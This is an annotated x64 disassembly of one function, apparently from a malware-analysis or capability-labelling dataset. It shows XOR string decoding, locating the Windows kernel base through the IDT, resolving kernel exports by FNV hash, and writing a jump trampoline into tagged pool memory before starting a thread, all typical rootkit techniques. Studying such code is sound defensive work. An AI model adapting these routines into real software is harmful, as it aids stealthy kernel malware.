Function at 0x1400031d8
Capabilities:
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x27]
sub rsp, 0xa0
mov eax, dword [0x140005128]
lea r9, [rbp - 0x39]
movsd xmm0, qword [str.VMUHWOPSn_:D]
xor ebx, ebx
mov dword [rbp - 0x31], eax
mov r8d, ebx
mov al, byte [0x14000512c]
mov byte [rbp - 0x2d], al
mov qword [0x140006098], rcx
mov dword [0x1400060a0], edx
movsd qword [rbp - 0x39], xmm0
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
mov al, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9], al
inc r9
cmp r8d, 0xd
jl 0x140003224
lea rcx, [rbp - 0x39]
call fcn.140003c80
test rax, rax
jne 0x14000326c
mov eax, 0xc0000365
jmp 0x1400039d1
mov rcx, rax
call fcn.140002c28
test eax, eax
js 0x1400039d1
call fcn.1400027b8
mov rdx, qword [0x1400060f0]
mov ecx, 0x5a4d
movabs rsi, 0x100000001b3
mov r8d, 0x8664
movabs r12, 0xcbf29ce484222325
movabs r9, 0x9be7f70164f3dbf0
mov r13d, 0x200000
test rdx, rdx
jne 0x14000333b
sidt [rbp - 0x39]
mov rax, qword [rbp - 0x37]
mov edx, dword [rax + 8]
movzx eax, word [rax + 6]
shl rdx, 0x10
or rdx, rax
and rdx, 0xffffffffffffffe0
shl rdx, 0x10
cmp word [rdx], cx
jne 0x14000332f
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000332f
cmp word [rax + rdx + 4], r8w
jne 0x14000332f
mov eax, dword [rax + rdx + 0x88]
mov r8, r12
mov ecx, dword [rax + rdx + 0xc]
add rcx, rdx
mov al, byte [rcx]
test al, al
je 0x140003324
inc rcx
movsx rax, al
xor r8, rax
imul r8, rsi
mov al, byte [rcx]
test al, al
jne 0x14000330b
cmp r8, r9
je 0x140003334
mov r8d, 0x8664
mov ecx, 0x5a4d
sub rdx, r13
jmp 0x1400032da
mov qword [0x1400060f0], rdx
movsxd rax, dword [rdx + 0x3c]
movabs r14, 0xb456343ad290f91f
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov edi, dword [rcx + 0x18]
add r11, rdx
mov edx, ebx
test edi, edi
je 0x1400033ab
mov ecx, dword [r8]
mov r9, r12
add rcx, qword [0x1400060f0]
mov al, byte [rcx]
test al, al
je 0x1400033a1
inc rcx
movsx rax, al
xor r9, rax
imul r9, rsi
mov al, byte [rcx]
test al, al
jne 0x140003384
cmp r9, r14
je 0x140003496
inc edx
add r8, 4
cmp edx, edi
jb 0x140003371
mov rax, rbx
mov edi, 0x8000
mov r8d, 0x4b524557
mov edx, edi
xor ecx, ecx
call rax
mov rsi, rax
test rax, rax
je 0x1400039cc
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140004508
mov rdx, qword [0x1400060f0]
mov dword [rbp - 0x29], 0xe28948fa
mov qword [rbp - 0x25], 0xbc48
mov dword [rbp - 0x1d], 0xb8480000
mov qword [rbp - 0x19], rbx
mov word [rbp - 0x11], 0xe0ff
test rdx, rdx
jne 0x1400034b4
sidt [rbp - 0x39]
mov rax, qword [rbp - 0x37]
movabs rdi, 0x100000001b3
mov r9d, 0x5a4d
mov r10d, 0x8664
movabs r11, 0x9be7f70164f3dbf0
mov edx, dword [rax + 8]
movzx eax, word [rax + 6]
shl rdx, 0x10
or rdx, rax
and rdx, 0xffffffffffffffe0
shl rdx, 0x10
cmp word [rdx], r9w
jne 0x140003491
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140003491
cmp word [rax + rdx + 4], r10w
jne 0x140003491
mov eax, dword [rax + rdx + 0x88]
mov r8, r12
mov ecx, dword [rax + rdx + 0xc]
add rcx, rdx
mov al, byte [rcx]
test al, al
je 0x140003491
inc rcx
movsx rax, al
xor r8, rax
imul r8, rdi
mov al, byte [rcx]
test al, al
jne 0x140003478
cmp r8, r11
je 0x1400034ad
sub rdx, r13
jmp 0x140003446
mov eax, edx
movzx ecx, word [r11 + rax*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400060f0]
jmp 0x1400033ae
mov qword [0x1400060f0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov edi, dword [rcx + 0x18]
add r11, rdx
mov edx, ebx
test edi, edi
je 0x14000352e
mov ecx, dword [r8]
mov r9, r12
add rcx, qword [0x1400060f0]
mov al, byte [rcx]
test al, al
je 0x140003524
movabs r14, 0x100000001b3
inc rcx
movsx rax, al
xor r9, rax
imul r9, r14
mov al, byte [rcx]
test al, al
jne 0x1400034fd
movabs r14, 0xb456343ad290f91f
cmp r9, r14
je 0x140003641
inc edx
add r8, 4
cmp edx, edi
jb 0x1400034e0
mov rax, rbx
mov edi, 0x1a
mov r8d, 0x4b524557
mov edx, edi
xor ecx, ecx
call rax
mov qword [rbp + 0x67], rax
mov r14, rax
test rax, rax
je 0x1400039cc
mov r8d, edi
mov qword [0x140006090], rax
lea rdx, [rbp - 0x29]
mov rcx, rax
call 0x140004494
lea rcx, [rsi + 0x7fd8]
xorps xmm0, xmm0
mov qword [r14 + 6], rcx
lea rax, [0x140001104]
mov qword [r14 + 0x10], rax
mov rdx, qword [0x1400060f0]
mov dword [rbp - 9], 0x30
mov qword [rbp - 1], rbx
mov dword [rbp + 0xf], 0x200
mov qword [rbp + 7], rbx
mov qword [rbp + 0x77], rbx
movdqu xmmword [rbp + 0x17], xmm0
test rdx, rdx
jne 0x140003665
sidt [rbp - 0x39]
mov rax, qword [rbp - 0x37]
mov r14d, 0x8664
mov edx, dword [rax + 8]
movzx eax, word [rax + 6]
shl rdx, 0x10
or rdx, rax
mov eax, 0x5a4d
and rdx, 0xffffffffffffffe0
shl rdx, 0x10
cmp word [rdx], ax
jne 0x14000363c
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140003637
cmp word [rax + rdx + 4], r14w
jne 0x140003637
mov eax, dword [rax + rdx + 0x88]
mov r8, r12
mov ecx, dword [rax + rdx + 0xc]
add rcx, rdx
mov al, byte [rcx]
test al, al
je 0x140003637
movabs rsi, 0x100000001b3
inc rcx
movsx rax, al
xor r8, rax
imul r8, rsi
mov al, byte [rcx]
test al, al
jne 0x140003614
movabs rax, 0x9be7f70164f3dbf0
cmp r8, rax
je 0x140003658
mov eax, 0x5a4d
sub rdx, r13
jmp 0x1400035d9
mov eax, edx
movzx ecx, word [r11 + rax*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400060f0]
jmp 0x140003531
mov r14, qword [rbp + 0x67]
mov qword [0x1400060f0], rdx
jmp 0x14000366f
movabs rsi, 0x100000001b3
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov edi, dword [rcx + 0x18]
add r11, rdx
mov edx, ebx
test edi, edi
je 0x1400036df
mov ecx, dword [r8]
mov r9, r12
add rcx, qword [0x1400060f0]
mov al, byte [rcx]
test al, al
je 0x1400036d5
inc rcx
movsx rax, al
xor r9, rax
imul r9, rsi
mov al, byte [rcx]
test al, al
jne 0x1400036ae
movabs rax, 0x139db613c0bce905
cmp r9, rax
je 0x1400037b2
inc edx
add r8, 4
cmp edx, edi
jb 0x14000369b
mov rax, rbx
mov qword [rsp + 0x30], rbx
lea r8, [rbp - 9]
mov qword [rsp + 0x28], r14
lea rcx, [rbp + 0x77]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor edx, edx
call rax
mov dword [rbp + 0x6f], eax
mov esi, eax
test eax, eax
js 0x1400039d1
mov rdx, qword [0x1400060f0]
test rdx, rdx
jne 0x1400037d7
sidt [rbp - 0x39]
mov rax, qword [rbp - 0x37]
mov esi, 0x8664
movabs r14, 0x9be7f70164f3dbf0
mov edx, dword [rax + 8]
movzx eax, word [rax + 6]
shl rdx, 0x10
or rdx, rax
mov eax, 0x5a4d
and rdx, 0xffffffffffffffe0
shl rdx, 0x10
cmp word [rdx], ax
jne 0x1400037ad
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x1400037a8
cmp word [rax + rdx + 4], si
jne 0x1400037a8
mov eax, dword [rax + rdx + 0x88]
mov r8, r12
mov ecx, dword [rax + rdx + 0xc]
add rcx, rdx
mov al, byte [rcx]
test al, al
je 0x1400037a8
movabs r13, 0x100000001b3
inc rcx
movsx rax, al
xor r8, rax
imul r8, r13
mov al, byte [rcx]
test al, al
jne 0x140003789
mov r13d, 0x200000
cmp r8, r14
je 0x1400037c9
mov eax, 0x5a4d
sub rdx, r13
jmp 0x14000374f
mov eax, edx
movzx ecx, word [r11 + rax*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400060f0]
jmp 0x1400036e2
mov esi, dword [rbp + 0x6f]
mov r14, qword [rbp + 0x67]
mov qword [0x1400060f0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov edi, dword [rcx + 0x18]
add r11, rdx
mov edx, ebx
test edi, edi
je 0x140003857
mov ecx, dword [r8]
mov r9, r12
add rcx, qword [0x1400060f0]
mov al, byte [rcx]
test al, al
je 0x14000384d
movabs r13, 0x100000001b3
inc rcx
movsx rax, al
xor r9, rax
imul r9, r13
mov al, byte [rcx]
test al, al
jne 0x140003820
movabs rax, 0x730beb78de086d3a
mov r13d, 0x200000
cmp r9, rax
je 0x140003905
inc edx
add r8, 4
cmp edx, edi
jb 0x140003803
mov rax, rbx
mov rcx, qword [rbp + 0x77]
call rax
mov rdx, qword [0x1400060f0]
test rdx, rdx
jne 0x14000392a
sidt [rbp - 0x39]
mov rax, qword [rbp - 0x37]
mov esi, 0x8664
movabs r14, 0x9be7f70164f3dbf0
mov edx, dword [rax + 8]
movzx eax, word [rax + 6]
shl rdx, 0x10
or rdx, rax
mov eax, 0x5a4d
and rdx, 0xffffffffffffffe0
shl rdx, 0x10
cmp word [rdx], ax
jne 0x140003900
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x1400038fb
cmp word [rax + rdx + 4], si
jne 0x1400038fb
mov eax, dword [rax + rdx + 0x88]
mov r8, r12
mov ecx, dword [rax + rdx + 0xc]
add rcx, rdx
mov al, byte [rcx]
test al, al
je 0x1400038fb
movabs r13, 0x100000001b3
inc rcx
movsx rax, al
xor r8, rax
imul r8, r13
mov al, byte [rcx]
test al, al
jne 0x1400038dc
mov r13d, 0x200000
cmp r8, r14
je 0x14000391c
mov eax, 0x5a4d
sub rdx, r13
jmp 0x1400038a2
mov eax, edx
movzx ecx, word [r11 + rax*2]
mov eax, dword [r10 + rcx*4]
add rax, qword [0x1400060f0]
jmp 0x14000385a
mov esi, dword [rbp + 0x6f]
mov r14, qword [rbp + 0x67]
mov qword [0x1400060f0], rdx
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x1c]
mov r8d, dword [rcx + 0x20]
add r10, rdx
mov r11d, dword [rcx + 0x24]
add r8, rdx
mov edi, dword [rcx + 0x18]
add r11, rdx
mov edx, ebx
test edi, edi
je 0x1400039be
mov ecx, dword [r8]
mov r9, r12
add rcx, qword [0x1400060f0]
mov al, byte [rcx]
test al, al
je 0x1400039a0
movabs r12, 0x100000001b3
inc rcx
movsx rax, al
xor r9, rax
imul r9, r12
mov al, byte [rcx]
test al, al
jne 0x140003973
movabs rax, 0x7f6272c86a6eeadc
movabs r12, 0xcbf29ce484222325
cmp r9, rax
je 0x1400039ac
inc edx
add r8, 4
cmp edx, edi
jb 0x140003956
jmp 0x1400039be
mov eax, edx
movzx ecx, word [r11 + rax*2]
mov ebx, dword [r10 + rcx*4]
add rbx, qword [0x1400060f0]
mov edx, 0x4b524557
mov rcx, r14
call rbx
mov eax, esi
jmp 0x1400039d1
mov eax, 0xc00000e5
add rsp, 0xa0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret